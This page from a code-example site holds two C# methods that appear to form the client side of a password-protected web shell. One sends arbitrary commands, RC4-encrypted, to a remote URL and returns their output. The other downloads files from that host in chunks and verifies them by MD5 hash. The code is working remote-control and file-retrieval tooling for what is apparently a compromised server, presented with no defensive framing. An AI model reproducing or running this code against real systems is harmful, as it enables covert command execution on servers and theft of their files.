Пример #1
0
        void DownloadFile(object o)
        {
            string[] args = (string[])o;
            try
            {
                RC4                 rc4    = new RC4(ASCIIEncoding.ASCII.GetBytes(url.Password));
                WebClient           client = new WebClient();
                NameValueCollection nvc    = new NameValueCollection();
                nvc.Add("k", url.Password);
                nvc.Add("fs", rc4.EncryptAndEncode(ASCIIEncoding.ASCII.GetBytes(args[1])));
                nvc.Add("enc", encMethod);
                int    filesize = 0;
                byte[] fs       = FindResponse(client.UploadValues(url.URL, "POST", nvc));
                rc4      = new RC4(ASCIIEncoding.ASCII.GetBytes(url.Password));
                filesize = int.Parse(ASCIIEncoding.ASCII.GetString(rc4.DecodeAndDecrypt(fs)));

                rc4 = new RC4(ASCIIEncoding.ASCII.GetBytes(url.Password));
                nvc = new NameValueCollection();
                nvc.Add("k", url.Password);
                nvc.Add("fh", rc4.EncryptAndEncode(ASCIIEncoding.ASCII.GetBytes(args[1])));
                nvc.Add("enc", encMethod);
                rc4 = new RC4(ASCIIEncoding.ASCII.GetBytes(url.Password));
                string filehash = ASCIIEncoding.ASCII.GetString(rc4.DecodeAndDecrypt(FindResponse(client.UploadValues(url.URL, "POST", nvc))));
                if (File.Exists(args[2]))
                {
                    File.Delete(args[2]);
                }
                FileStream files             = File.Create(args[2]);
                MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();
                for (int x = 0; x < filesize; x += 1024)
                {
                    rc4 = new RC4(ASCIIEncoding.ASCII.GetBytes(url.Password));
                    nvc = new NameValueCollection();
                    nvc.Add("k", url.Password);
                    nvc.Add("d", rc4.EncryptAndEncode(ASCIIEncoding.ASCII.GetBytes(args[1])));
                    nvc.Add("p", x.ToString());
                    nvc.Add("enc", encMethod);
                    rc4 = new RC4(ASCIIEncoding.ASCII.GetBytes(url.Password));
                    byte[] readin = rc4.DecodeAndDecrypt(FindResponse(client.UploadValues(url.URL, "POST", nvc)));
                    files.Write(readin, 0, readin.Length);
                }
                files.Close();
                Stream filestream = new FileStream(args[2], FileMode.Open, FileAccess.Read);
                byte[] result     = md5.ComputeHash(filestream);
                if (filehash != BitConverter.ToString(result).Replace("-", "").ToLower())
                {
                    OnNewStatusEvent(args[1] + " file hashes do not match. " + filehash + " != " + BitConverter.ToString(result).Replace("-", "").ToLower());
                    return;
                }
                OnNewStatusEvent(args[1] + " finished downloading to " + args[2]);
            }
            catch (Exception e)
            {
                OnNewStatusEvent("Error in downloading file: " + e.Message);
            }
        }
Пример #2
0
 public string ProcessCommand(string command)
 {
     commands.Add(command);
     AppendNewCommand(BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(ASCIIEncoding.ASCII.GetBytes(url.URL))).Replace("-", ""), command);
     currentCommandPositon = commands.Count;
     if (command.StartsWith("download"))
     {
         string[] args = command.Split(' ');
         if (args.Length >= 3)
         {
             Thread t = new Thread(new ParameterizedThreadStart(DownloadFile));
             t.Start(args);
             return("File download started.");
         }
         else
         {
             OnNewStatusEvent("download command failed.");
             return("download requires at least 2 arguments.");
         }
     }
     else
     {
         try
         {
             RC4                 rc4    = new RC4(ASCIIEncoding.ASCII.GetBytes(url.Password));
             WebClient           client = new WebClient();
             NameValueCollection nvc    = new NameValueCollection();
             nvc.Add("k", url.Password);
             nvc.Add("a", rc4.EncryptAndEncode(ASCIIEncoding.ASCII.GetBytes(command)));
             nvc.Add("enc", encMethod);
             byte[] response = FindResponse(client.UploadValues(url.URL, "POST", nvc));
             rc4 = new RC4(ASCIIEncoding.ASCII.GetBytes(url.Password));
             string ret = UTF8Encoding.UTF8.GetString(rc4.DecodeAndDecrypt(response)).Replace("\n", "\r\n");
             OnNewStatusEvent("Command returned " + ret.Length + " bytes.");
             return(ret);
         }
         catch (Exception e)
         {
             OnNewStatusEvent("Command failed");
             return(e.Message);
         }
     }
 }